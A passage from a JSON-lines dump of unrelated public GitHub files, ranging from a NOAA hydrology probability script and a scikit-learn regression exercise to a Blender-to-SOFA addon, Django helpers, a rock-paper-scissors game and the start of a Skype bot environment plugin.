Probabilities\n    print(\"--> Calculating high water probabilities...\")\n\n    ensemble_members = []\n    for file in streamflow_files_list:  # finds the number of ensemble members on-the-fly\n        ensemble_pattern = re.search(r'channel_rt_(\\d+)', file).group(1)\n        if(ensemble_pattern):\n            member = int(ensemble_pattern)\n            if member not in ensemble_members:\n                ensemble_members.append(member)\n\n    # creates a NumPy array of zeros with the same length of high water threshold flows_array;\n    # this array will be used to count up the number of ensemble members that predicted a reach would be\n    # above its high water threshold flow\n    final_above_array = np.zeros(len(high_water_flows_array), dtype=np.int16)\n    for member in ensemble_members:\n        ensemble_files_list = [x for x in streamflow_files_list if 'channel_rt_{}'.format(member) in x]\n        above_array = np.zeros(len(high_water_flows_array), dtype=np.int16)  # creates a NumPy array of zeros\n        for file in ensemble_files_list:\n            n = Dataset(file)\n            streamflows = n['streamflow'][:]\n            n.close()\n            streamflows = streamflows * 35.3147  # converts streamflows from cms to cfs\n            # checks to see if any streamflow values are at or above their high water threshold flow\n            # returns a boolean array of the results\n            true_false_array = np.greater_equal(streamflows, high_water_flows_array)\n            # increases the above count in above_array for reaches that had streamflow values above their high water threshold flows\n            above_array = above_array + true_false_array\n        # sets anything in final_above_array >0 to 1, so -any- instance of high water threshold gives a stream reach a 1\n        above_array = np.where(above_array >= 1, 1, 0)\n        final_above_array += above_array  # adds the ensemble member's predictions for each stream to final_above_array\n\n    # divides final_above_array by the total number of streamflow files to compute probabilities\n    # then multiplies the results by 100 to covert them into percentages\n    probabilities = (final_above_array / len(ensemble_members)) * 100.0\n\n    df_probabilities = pd.DataFrame(list(zip(featureID_array, probabilities)), columns=['feature_id', 'Prob'])\n    df_probabilities = df_probabilities.set_index('feature_id')\n    df_probabilities['Prob'] = df_probabilities['Prob'].astype(int)\n\n    return df_probabilities\n\n\ndef calc_valid_times(reference_time, lead_times):\n    valid_times = []\n\n    for lead_time in lead_times:\n        valid_time_obj = reference_time + dt.timedelta(hours=lead_time)\n        valid_time_str = valid_time_obj.strftime('%Y-%m-%d_%H:00:00')\n        valid_times.append(valid_time_str)\n        print(\"** Valid time: \", valid_time_str)\n    return valid_times\n\n\ndef find_nwm_file_paths(nwm_fpaths, valid_times, reference_time, discard_date):\n    \"\"\"\n    Determines which files are needed to support the probabilistic forecast for\n    the specified valid time.\n\n    Args:\n        nwm_fpaths(list): a list of strings, each of which is the path to a nwm file\n        valid_times(list): a list of strings, each representing a datetime\n\n    Returns:\n        A list of file paths.\n    \"\"\"\n\n    working_fpaths = []\n    for nwm_fpath in nwm_fpaths:\n       # Extract file's date from filepath\n        file_date = dt.datetime.strptime(re.search('[0-9]{8}', nwm_fpath).group(), '%Y%m%d') \\\n                  + dt.timedelta(hours=int(re.search('t[0-9]{2}z', nwm_fpath).group()[1:3]))\n\n        # Exclude file if older than discard date\n        if discard_date:\n            if file_date <= discard_date:\n                continue\n\n        # Exclude file if it is a forecast generated later than reference_time\n        if file_date > reference_time:\n            continue\n\n        # Validate that file exists\n        if not os.path.exists(nwm_fpath):\n            print(('WARNING - File given but not found: {0}'.format(nwm_fpath)))\n            continue\n\n        # check if NWM file falls in range of valid times\n        try:\n            with Dataset(nwm_fpath, 'r') as f:\n                if f.model_output_valid_time in valid_times:\n                    working_fpaths.append(nwm_fpath)\n        except IOError:\n            print(('WARNING - File given could not be opened: {0}'.format(nwm_fpath)))\n\n    return working_fpaths","repo_name":"NOAA-OWP/hydrovis","sub_path":"Core/LAMBDA/viz_functions/viz_python_preprocessing/products/high_water_probability.py","file_name":"high_water_probability.py","file_ext":"py","file_size_in_byte":14005,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"28151372501","text":"def parse_anneal_argument(anneal_str):\n    def parse_value_pos(value_str):\n        if \"@\" in value_str:\n            value, pos = value_str.split(\"@\")\n        else:\n            value = value_str\n            pos = \"0\"\n        return float(value), float(pos.replace(\"k\", \"000\"))\n\n    res = []\n    for value_str in anneal_str.split(\":\"):\n        res.append(parse_value_pos(value_str))\n    return res\n\ndef get_anneal_value(anneal_params, update_num):\n    last_value, last_pos = anneal_params[0][0], 0\n    for value, pos in anneal_params:\n        if update_num < pos:\n            return last_value + (value - last_value) * (update_num - last_pos) / (pos - last_pos + 1)\n        last_value, last_pos = value, pos\n    return anneal_params[-1][0]\n","repo_name":"ictnlp/NAST","sub_path":"NAST/criterions/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"14651131465","text":"from util import file\nfrom model import *\n\n\nclass Simulator:\n    \"\"\"Simulator take care of a world\n    If a file is passed, a world is created from it.\n    \"\"\"\n    def __init__(self, file_path=None, world_dimension=(800, 600)):        \n        if file_path:\n            self.world = file.open_world(file_path)\n        else:\n            self.dimension = world_dimension\n            self.world = World(self.dimension)\n            self.world.random_populate(10)\n            self.world.random_cultivate(300)\n         \n    def step(self):\n        \"\"\"The world advance a step\"\"\"\n        feeds = self.world.feeds\n        creatures = self.world.creatures\n        for creature in creatures:\n            if creature.is_dead():\n                creatures.remove(creature)\n            elif creature.is_hungry():\n                creature.change_color(Color.red)\n                feeds_found = creature.look_for_feed(feeds)\n                if len(feeds_found) > 0:\n                    closer_feed = creature.calculate_closer_feed(feeds_found)\n                    if creature.reach_feed(closer_feed):\n                        creature.eat(closer_feed)\n                        feeds.remove(closer_feed)\n                    else:\n                        direction = creature.calculate_direction(closer_feed)\n                        creature.walk_to(self.world.dimension, direction)\n                else:\n                    creature.walk(self.world.dimension)\n            creature.reduce_energy(1)\n\n        if self.world.time % 20 == 0:\n            self.world.random_cultivate(20)\n        self.world.increase_time()\n\n    def get_world(self):\n        \"\"\"Return the world's state\"\"\"\n        return self.world\n","repo_name":"cathoderay/gtsimulator","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29049254157","text":"__author__ = 'aikawa'\nimport datetime\n\nfrom balance import balance_steps as steps\n\ndt = datetime.datetime.now() - datetime.timedelta(days=1)\nPERSON_TYPE = 'ur'\nPAYSYS_ID = 1003\nSERVICE_ID = 7\nPRODUCT_ID = 1475\nMSR = 'Bucks'\n\ndef order_to_invoice(service_order_id):\n    orders_list = [\n    {'ServiceID': SERVICE_ID, 'ServiceOrderID': service_order_id, 'Qty': 200, 'BeginDT': dt}\n]\n    request_id = steps.RequestSteps.create(client_id=client_id, orders_list=orders_list)\n    invoice_id,_,_= steps.InvoiceSteps.create(request_id=request_id, person_id=person_id, paysys_id=PAYSYS_ID,\n                                                                  credit=0, contract_id=None, overdraft=0,endbuyer_id=None)\n    steps.InvoiceSteps.pay(invoice_id)\n    return invoice_id\n\nclient_id = steps.ClientSteps.create()\n# steps.ClientSteps.negative_reverse_allow(client_id)\nperson_id = steps.PersonSteps.create(client_id, PERSON_TYPE)\n\ndst_service_order_id = steps.OrderSteps.next_id(service_id=SERVICE_ID)\ndst_order_id = steps.OrderSteps.create(client_id=client_id, product_id=PRODUCT_ID, service_id=SERVICE_ID, service_order_id=dst_service_order_id)\norder_to_invoice(dst_service_order_id)\n\ndpt_service_order_id = steps.OrderSteps.next_id(service_id=SERVICE_ID)\ndpt_order_id = steps.OrderSteps.create(client_id=client_id, product_id=PRODUCT_ID, service_id=SERVICE_ID, service_order_id=dpt_service_order_id)\norder_to_invoice(dpt_service_order_id)\n\norder_to_invoice(dst_service_order_id)\nsteps.OrderSteps.transfer([{'order_id':dpt_order_id, 'qty_old': 200, 'qty_new': 100, 'all_qty': 0}],[{'order_id':dst_order_id, 'qty_delta': 1}])\nsteps.OrderSteps.transfer([{'order_id':dpt_order_id, 'qty_old': 100, 'qty_new': 0, 'all_qty': 0}],[{'order_id':dst_order_id, 'qty_delta': 1}])","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/temp/aikawa/Balance/Balance - 20549 - NegativeReverseLastConsume.py","file_name":"Balance - 20549 - NegativeReverseLastConsume.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25738759921","text":"#연습문제2(회귀예측)\n#- 성능이 우수한 예측모형을 구축하기 위해서는 적절한 데이터 전처리,\n# 피쳐엔지니어링, 분류 알고리즘 사용, 초매개변수 최적화, 모형 앙상블 등이 수반되어야 한다.\n#- 수험번호.csv(예:0000.csv) 파일이 만들어지도록 코드를 제출한다.\n#- 제출한 모형의 성능은 RMSE, MAE가 평가지표에 따라 채점한다.\n\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\ndf = sns.load_dataset('mpg')\nX_train, X_test, y_train, y_test = train_test_split(df, df['mpg'], test_size = 0.2, random_state=42)\nX_train = X_train.drop(['mpg'], axis =1)\nX_test = X_test.drop(['mpg'], axis =1)\n\n# print(X_train.head())\n# print(X_train.isna().sum())  horsepower에 null 결측 존재\n#1. 결측치 제거 \nX_train['horsepower'] = X_train['horsepower'].fillna(X_train['horsepower'].median())\nX_test['horsepower'] = X_test['horsepower'].fillna(X_test['horsepower'].median())\n# print(X_train.isna().sum())\n# print(X_train.head())\n\n#2. 라벨 인코더\nfrom sklearn.preprocessing import LabelEncoder \nlabel = ['origin', 'name']\nfrom sklearn.preprocessing import LabelEncoder \nX_train[label] = X_train[label].apply(LabelEncoder().fit_transform)\nX_test[label] = X_test[label].apply(LabelEncoder().fit_transform)\nprint(X_train.head())\n\n#3. 카테고리 변환, 더미처리\ncategory = ['origin']\nfor i in category:\n    X_train[i] = X_train[i].astype('category')\n    X_test[i] = X_test[i].astype('category')\n    \nX_train = pd.get_dummies(X_train)\nX_test = pd.get_dummies(X_test)\n\nprint(X_train.head())\n\n#4.파생변수 만들기\nX_train['horsepower_qcut'] = pd.qcut(X_train['horsepower'],5,labels=False)\nX_test['horsepower_qcut'] = pd.qcut(X_test['horsepower'],5,labels=False)\nprint(X_train.head())\n\n\n#5. 스케일 작업 0~1사이의 값으로 데이터가 변환됨\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = ['displacement', 'horsepower', 'weight']\nmin = MinMaxScaler()\nmin.fit(X_train[scaler])\n\nX_train[scaler] = min.transform(X_train[scaler])\nX_test[scaler] = min.transform(X_test[scaler])\nprint(X_train.head())\n\n#6. 데이터 분리 - 검증용/ 테스트용\nfrom sklearn.model_selection import train_test_split\nX_train, X_valid, y_train, y_valid = train_test_split(X_train, y_train, test_size =0.2, random_state =42)\n\nprint(X_train.shape)\nprint(X_valid.shape)\n\n#7. 모형 학습\nfrom sklearn.linear_model import LinearRegression\nmodel1 = LinearRegression()\nmodel1.fit(X_train, y_train)\npred1 = model1.predict(X_valid)\n\nfrom sklearn.ensemble import RandomForestRegressor\nmodel2= RandomForestRegressor()\nmodel2.fit(X_train, y_train)\npred2 = model2.predict(X_valid)\n\n#8. 앙상블(스태킹 기법)\nfrom sklearn.ensemble import StackingRegressor\nestimators = [('linearR', model1), ('RandomF',model2)]\nmodel3 = StackingRegressor(estimators=estimators, final_estimator=RandomForestRegressor())\nmodel3.fit(X_train, y_train)\npred3= model3.predict(X_valid)\n\n# print(pred3)\n\n#9.모형 평가\nfrom sklearn.metrics import mean_squared_error \n\nprint('선형회귀 MSE', mean_squared_error(y_valid, pred1))\nprint('랜포 MSE', mean_squared_error(y_valid, pred2))\nprint('스태킹 MSE', mean_squared_error(y_valid, pred3))\n\nprint('선형회귀 RMSE', np.sqrt(mean_squared_error(y_valid, pred1)))\nprint('랜포 RMSE', np.sqrt(mean_squared_error(y_valid, pred2)))\nprint('스태킹 RMSE', np.sqrt(mean_squared_error(y_valid, pred3)))\n#랜포가 가장 성능이 좋다. \n\n#10. 하이퍼 파라미터 튜닝\nfrom sklearn.model_selection import GridSearchCV \nparameters = {'n_estimators':[50, 100], 'max_depth':[4,6]}\nmodel4 = RandomForestRegressor()\nclf = GridSearchCV(estimator = model4, param_grid = parameters, cv= 3)\nclf.fit(X_train,y_train)\n\n# print('최적의 파라미터', clf.best_params_) #최적의 파라미터 {'max_depth': 6, 'n_estimators': 100}\n\n\n#11.파일저장\nresult = pd.DataFrame(model2.predict(X_test))\nresult = result.iloc[:,0]\npd.DataFrame({'id':X_test.index, 'result':result}).to_csv('0040.csv', index=False)\ncheck = pd.read_csv('0040.csv')\n\nprint(check.head())\n\n","repo_name":"joosomi/BigDataStudy","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":4138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39483839400","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom datetime import date\n\nheaders = [\"Feature\", \"Availability Region\", \"Instance\", \"Operating System\", \"Price\", \"Time\"]\nall_files = os.listdir(\"./api_responses\")\ndfs = [pd.read_csv(\"./api_responses/\" + x, delimiter = \"\\t\", names = headers) for x in all_files]\n\ndef get_average_spot_price_per_availability_region(df):\n    availability_regions = np.unique(df[\"Availability Region\"])\n    availability_regions.sort()\n    \n    instance, region = df[\"Availability Region\"][0][:-1], df[\"Instance\"][0]\n    zones, average_prices = [], []\n    for x in availability_regions:\n        subset = df[df[\"Availability Region\"] == x]\n        average_price = np.mean(subset[\"Price\"])\n        zones.append(x[-1])\n        average_prices.append(average_price)\n    return [instance, region, zones, average_prices, np.mean(average_prices)]\n\ndef build_df(information):\n    unique_instances = np.unique([x[1] for x in information])\n    \n    data = []\n    for unique_instance in unique_instances:\n        elements_with_instance = [x for x in information if x[1] == unique_instance]\n        \n        for el in elements_with_instance:\n            specific_instance = el[1]\n            specific_region = el[0]\n            \n            for i, (az, p) in enumerate(zip(el[2], el[3])):\n                if i == 0:\n                    data.append([specific_instance, specific_region, az, round(p, 3), round(el[4], 3)])\n                else:\n                    data.append([specific_instance, specific_region, az, round(p, 3), \"\"])\n    \n    data = np.array(data)\n    remove_repeats(data)\n    \n    return pd.DataFrame(data = data, columns = [\"Instance\", \"Region\", \"Availability Zone\", \"Average Price\", \"Average Price Across Zones\"])\n\ndef remove_repeats(array):\n    for i in range(2):\n        column = array[:, i]\n        new_column = []\n        \n        old_value = \"filler\"\n        for x in column:\n            if x == old_value:\n                new_column.append(\"\")\n            else:\n                new_column.append(x)\n                old_value = x\n        array[:,i] = new_column\n\ninformation = [get_average_spot_price_per_availability_region(x) for x in dfs]\nsummary = build_df(information)\ntoday = date.today()\ntoday_str = today.strftime(\"%m_%d_%Y\")\nsummary.to_csv(\"./cost_summary_\" + today_str + \".csv\")","repo_name":"naddan27/AWS_Spot_instance_pricing","sub_path":"aggregate_api_responses.py","file_name":"aggregate_api_responses.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30829157143","text":"# -*- coding: utf-8 -*-\n# @File : args.py\n# @Author: Runist\n# @Time : 2022/3/29 9:46\n# @Software: PyCharm\n# @Brief: Code argument parser\n\nimport argparse\nimport warnings\nimport os\nimport torch\nimport sys\nsys.path.append(os.getcwd())\n\nfrom core.helper import seed_torch\n\nwarnings.filterwarnings(\"ignore\")\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--gpu', type=str, default='0', help='Select gpu device.')\nparser.add_argument('--train_data_dir', type=str,\n                    default=\"./data/Omniglot/images_background/\",\n                    help='The directory containing the train image data.')\nparser.add_argument('--val_data_dir', type=str,\n                    default=\"./data/Omniglot/images_evaluation/\",\n                    help='The directory containing the validation image data.')\nparser.add_argument('--summary_path', type=str,\n                    default=\"./summary\",\n                    help='The directory of the summary writer.')\n\nparser.add_argument('--task_num', type=int, default=32,\n                    help='Number of task per train batch.')\nparser.add_argument('--val_task_num', type=int, default=16,\n                    help='Number of task per test batch.')\nparser.add_argument('--num_workers', type=int, default=12, help='The number of torch dataloader thread.')\n\nparser.add_argument('--epochs', type=int, default=150,\n                    help='The training epochs.')\nparser.add_argument('--inner_lr', type=float, default=0.04,\n                    help='The learning rate of of the support set.')\nparser.add_argument('--outer_lr', type=float, default=0.001,\n                    help='The learning rate of of the query set.')\n\nparser.add_argument('--n_way', type=int, default=5,\n                    help='The number of class of every task.')\nparser.add_argument('--k_shot', type=int, default=1,\n                    help='The number of support set image for every task.')\nparser.add_argument('--q_query', type=int, default=1,\n                    help='The number of query set image for every task.')\n\nargs = parser.parse_args()\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\nseed_torch(1206)\n\ndev = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n","repo_name":"Runist/torch_maml","sub_path":"args.py","file_name":"args.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"3"}
+{"seq_id":"20080826521","text":"fin = open('enchanted.in','r')\nfout = open('enchanted.out','w')\ns1 = next(fin)[:-1]\ns2 = next(fin)[-2::-1]\nf1 = next(fin)[:-1]\nf2 = next(fin)[-2::-1]\n\nprint(s1)\nprint(s2)\nl1 = sorted(zip(s1,s2))\nl2 = sorted(zip(f1,f2))\nprint(l1)\nprint(l2)\nfout.write(('Yes' if l1==l2 else 'No')+'\\n')\nfin.close()\nfout.close()\n","repo_name":"juanmsuarez/el-mastro-icpc","sub_path":"contests/Otros simulacros/NEERC Northern Subregional 2008/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"36139125751","text":"bl_info = {\r\n    'name': \"SOFA Export plugin\",\r\n    'author': \"Saleh Dindar, Ruiliang Gao, Di Xie\",\r\n    'version': (0, 2,  1),\r\n    'blender': (2, 79, 0),\r\n    'location': \"https://bitbucket.org/surflab/blender2sofa\",\r\n    'warning': \"\",\r\n    'description': \"Export Blender scenes into SOFA scene files\",\r\n    'wiki_url': \"https://bitbucket.org/surflab/blender2sofa/wiki/\",\r\n    'tracker_url': \"https://bitbucket.org/surflab/blender2sofa/issues\",\r\n    'category': 'Import-Export'\r\n}\r\n\r\nimport bpy\r\n\r\nfrom . import io_msh, io_zip, ui, conn_tiss, fattytissue, export, runsofa, thick_curve, preferences, types, conn_tiss\r\nfrom .types import *\r\n\r\n\r\n\r\ndef menu_func_export(self, context):\r\n    self.layout.operator(export.ExportToSofa.bl_idname, text=\"SOFA Scene (.scn;.salua)\")\r\n\r\naddon_keymaps = []\r\n\r\n\r\ndef register():\r\n    # Register the entire module\r\n    bpy.utils.register_module(__name__)\r\n    # Register properties in io_msh\r\n    io_msh.register_other()\r\n\t# Register properties in io_zip\r\n    io_zip.register_other()\r\n    # Add the items in export menu\r\n    bpy.types.INFO_MT_file_export.append(menu_func_export)\r\n    # Add SOFA properties to scene and objects\r\n    types.register_sofa_properties()\r\n    # Add keyboard shortcut F5 for invoking RunSofa\r\n    km = bpy.context.window_manager.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')\r\n    kmi = km.keymap_items.new(runsofa.RunSofaOperator.bl_idname, 'F5', 'PRESS')\r\n    addon_keymaps.append((km, kmi))\r\n\r\ndef unregister():\r\n    # Remove keyboard shortcuts\r\n    for km, kmi in addon_keymaps:\r\n        km.keymap_items.remove(kmi)\r\n    addon_keymaps.clear()\r\n    # Remove SOFA properties\r\n    types.unregister_sofa_properties()\r\n    # Remove items in export menu\r\n    bpy.types.INFO_MT_file_export.remove(menu_func_export)\r\n\t# Remove io_zip properties\r\n    io_zip.unregister_other()\r\n    # Remove io_msh properties\r\n    io_msh.unregister_other()\r\n    # Unregister everything\r\n    bpy.utils.unregister_module(__name__)\r\n\r\n","repo_name":"ruiliang-gao/Blender2SOFA","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"31000235755","text":"# -*- coding: utf-8 -*-\n\nimport functools\nimport inspect\nfrom simplelog import logger\nfrom collections import OrderedDict\n\ndefault_value = {\n    'ret': 0\n}\n\n\ndef checked_arguments(*, callback, default):\n    \"\"\"\n    :param callback: function\n            这个 callable 只接受 一个参数 Orderdict\n            this  function 返回  True,or False  如果为 True 则进行 下面的逻辑 fn的逻辑,\n            否则不进行 fn 的逻辑,直接返回  规定的默认值default\n\n    :param default: 如果 不能检查 成功 ,返回 default值\n    :return:\n    \"\"\"\n\n    def _checked_arguments(f):\n        @functools.wraps(f)\n        def wrapper(*a, **k):\n            sig = inspect.signature(f).bind(*a, **k)\n            sig.apply_defaults()\n            d = sig.arguments\n\n            valid_val = callback(d)\n            if valid_val:\n\n                value = f(*a, **k)\n                logger.info(f\"return normal_value, value:{value} \")\n                return value\n\n\n            else:\n                logger.info(f\"return default_value, value:{default} \")\n                return default\n\n        return wrapper\n\n    return _checked_arguments\n\n\ndef call_back(params_dict: OrderedDict):\n    \"\"\"\n    用户自定义的一个 callback ,这个函数 返回 true or  false\n\n\n    这里 自定义 a >10 我认为 检查失败\n    :param params_dict:\n    :return: true or false\n    \"\"\"\n    logger.info(f\"params_dict: {params_dict}\")\n    a = params_dict.get('a')\n\n    if a > 10:\n        return True\n    return False\n\n\n@checked_arguments(callback=call_back, default=default_value)\ndef calculate(a, b):\n    \"\"\"\n    用户函数\n    :param a:\n    :param b:\n    :return:\n    \"\"\"\n    return {\"ret\": 20}\n\n\ndef case_one():\n    print(calculate(2, 20))\n    print(calculate(20, 20))\n\n\ndef case_two():\n    print(predict(num=100))\n    print(predict(num=1))\n\n\ndef predict_callback(data):\n    \"\"\"\n    user defined\n    :param data: dict\n    :return:\n    \"\"\"\n\n    kwargs = data.get('kwargs')\n    # print(kwargs)\n    num = kwargs.get('num')\n    if num > 10:\n        return True\n    return False\n\n\n@checked_arguments(callback=predict_callback, default=-100)\ndef predict(**kwargs):\n    \"\"\"\n    用户函数\n    :param kargs:\n    :return:\n    \"\"\"\n    return 100\n\n\ndef check_args(data):\n    \"\"\"\n    这里如果判断  参数都小于10 认为可以通过检查\n    :param data:\n    :return:\n    \"\"\"\n\n    args = data.get('args')\n    max_value = max(args)\n\n    if max_value > 10:\n        return True\n\n    return False\n\n\n@checked_arguments(callback=check_args, default=-100)\ndef fun(*args, **kwargs):\n    return 100\n\n\nif __name__ == '__main__':\n    fun(10, 20)\n    fun(1, 2)\n\n    pass\n","repo_name":"changyubiao/useful_decoration","sub_path":"src/useful_decoration/func_callable.py","file_name":"func_callable.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4167665987","text":"from django import template\nfrom .. import models\n\nregister = template.Library()\n\n\n@register.inclusion_tag(\"projects/_apply_btns.html\", takes_context=True)\ndef apply_buttons(context, position):\n    user = context[\"user\"]\n    user_applications = models.Application.objects.filter(\n        candidate=user\n    )\n\n    position_list = [app.position for app in user_applications]\n    app_list = [app for app in user_applications]\n\n    response = {\n        \"position\": position,\n        \"already_apply\": False,\n        'user': user\n    }\n    # import pdb;pdb.set_trace()\n    if position in position_list:\n        response[\"already_apply\"] = True\n        response[\"application\"] = app_list[position_list.index(position)]\n        print(response['application'])\n    return response\n","repo_name":"yunielgarcia/Team-Builder","sub_path":"team_builder/projects/templatetags/project_extras.py","file_name":"project_extras.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24919286321","text":"from defisheye import Defisheye\nimport cv2\n\ndtype = 'linear'\nformat = 'fullframe'\nfov = 140\npfov = 90\n\n\nvid = cv2.VideoCapture(\"/home/mthk/Desktop/video-object-detection/video/NVR_ch17_main_20201212080008_20201212083025_2.mp4\")\n# out = cv2.VideoWriter('out1.mp4',-1 , 20.0 , (640 , 480))\n\nwhile True:\n    rect , img = vid.read()\n    if rect == True:\n        obj = Defisheye(img, dtype=dtype, format=format, fov=fov, pfov=pfov)\n        obj.convert('fisheye1.jpg')\n        img = cv2.imread('fisheye1.jpg')\n        resize = cv2.resize(img,(400,400),interpolation=cv2.INTER_AREA)\n        # out.write(img)\n        cv2.imshow('',resize)\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n    else:\n        break\n\nvid.release()\ncv2.destroyAllWindows()\n","repo_name":"myothiha97/Python-Object-Detection","sub_path":"convert_fish_eye_video.py","file_name":"convert_fish_eye_video.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16511513784","text":"import random\ncomputerScore=0\nuserScore=0\ncontinuePlaying=1\nGuide={1:\"Stone\",2:\"Paper\",3:\"Scissor\"}\n\n#function to determine who wins and calculate the score\ndef game(user,computer):\n    global computerScore\n    global userScore\n    if(user==computer):\n        print(\"It's a tie, please play again.\")\n    elif(user==1 and computer==2):\n        print(\"Computer Wins\")\n        computerScore+=1\n    elif(user==1 and computer==3):\n        print(\"User wins\")\n        userScore+=1\n    elif(user==2 and computer==1):\n        print(\"User wins\")\n        userScore+=1\n    elif(user==2 and computer==3):\n        print(\"Computer Wins\")\n        computerScore+=1\n    elif(user==3 and computer==1):\n        print(\"Computer Wins\")\n        computerScore+=1\n    elif(user==3 and computer==2):\n        print(\"User wins\")\n        userScore+=1\n\n\nwhile(continuePlaying==1):\n    #User takes a number from 1-3\n    user=int(input(\"Enter your Choice\\n1. Stone\\n2. Paper\\n3. Scissors\\n\"))\n    #Now we will check for wrong inputs\n    if(user>0 and user<4):\n        #Now Computer will make a random choice from 1-3\n        computer=random.randint(1,3)\n        print(\"User: \",Guide[user],\"Computer: \",Guide[computer])\n        game(user,computer)\n    else:\n        print(\"Invalid Choice, Please Enter A Valid Choice\")\n        \n    continuePlaying=int(input(\"Do you wish to Continue Playing?\\nEnter 1 for Yes and 0 for No\\n\"))\n\n\nprint(\"The total scores are : \")\nprint(\"User :\",userScore)\nprint(\"Computer :\",computerScore)\n\nif(userScore>computerScore):\n    print(\"User Wins\")\nelif(computerScore>userScore):\n    print(\"Computer Wins\")\nelse:\n    print(\"It's a tie\")","repo_name":"joshidhawal/learn-python-with-dhawal","sub_path":"Stone_Paper_Scissors.py","file_name":"Stone_Paper_Scissors.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71391909523","text":"import logging\n\nfrom rest_framework import serializers\nfrom .models import Application, Tutorial\n\nlogger = logging.getLogger(__name__)\n\n\nclass ApplicationSerializer(serializers.HyperlinkedModelSerializer):\n    class Meta:\n        model = Application\n\n        fields = (\n            'id',\n            'app_name',\n            'app_display_name',\n            'app_url',\n            'app_short_description',\n            'app_long_description',\n            'app_icon_cls',\n            'app_icon_src',\n            'app_video_src',\n            'app_order',\n            'app_disabled'\n        )\n\n\nclass TutorialSerializer(serializers.HyperlinkedModelSerializer):\n    application = serializers.PrimaryKeyRelatedField(\n        queryset=Application.objects.all(), many=False)\n\n    application_display_name = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Tutorial\n\n        fields = (\n            'id',\n            'application',\n            'application_display_name',\n            'ttr_title',\n            'ttr_src',\n            'ttr_description',\n        )\n\n    def get_application_display_name(self, obj):\n        return obj.application.app_display_name\n","repo_name":"linea-it/dri","sub_path":"api/interfaces/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"13628207768","text":"from django.shortcuts import render, redirect\n\nfrom home.forms import ContactUs\nfrom zakaz.models import Zakaz\n\n\ndef zakaz(request):\n    product = Zakaz.objects.all()\n    if request.method == \"POST\":\n        form = ContactUs(request.POST)\n        if form.is_valid():\n            form.save()\n            return redirect('zakaz')\n    else:\n        form = ContactUs()\n    return render(request, 'zakaz.html', {\"form\":form, 'product':product})\n","repo_name":"nikisham/nikishamdel","sub_path":"zakaz/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9916384457","text":"import re\nimport datetime\n\nfrom template import PluginTemplate\nimport gc\nimport skypebot\n\ndef fancy_time_output(delta):\n    \"\"\"\n    Convert raw datetime.datetime object to fancy string\n\n    :param delta: datetime.datetime.now() - Environment.start_time object\n    :return: string, showing for how long an instance was taken\n    \"\"\"\n    if delta.seconds < 60:\n        return 'just now'\n    elif (delta.seconds / 60) < 2:\n        return 'for a few minutes already'\n    elif (delta.seconds / 3600) == 0:\n        return 'for %s minutes already' % (delta.seconds / 60)\n    else:\n        return 'for %s hours already' % (delta.seconds / 3600)\n\n\nclass Environment:\n    \"\"\"\n    This class provides environment entity with its name, status and time difference between\n    taking it and current time.\n\n    Also it provides fancy output for Skype message.\n    \"\"\"\n    def __init__(self, name):\n        self.env_name = name\n        self.taken = False\n        self.start_time = None\n        self.time_taken = None\n        self.owner = None\n\n    def take(self, person):\n        self.owner = person.encode('utf-8')\n        self.taken = True\n        self.start_time = datetime.datetime.now()\n\n    def free(self):\n        self.taken = False\n        self.owner = None\n        self.time_taken = None\n        self.start_time = None\n\n    def __repr__(self):\n        if self.taken:\n            return u\"%s taken by %s %s\" % (self.env_name, self.owner.decode('utf-8'), fancy_time_output(self.time_taken))\n        else:\n            return \"%s free\" % self.env_name\n\n    def __str__(self):\n        return unicode(self.__repr__())\n\n\nclass EnvPlugin(PluginTemplate):\n    \"\"\"\n    EnvPlugin - managing environments across developers. You can take or 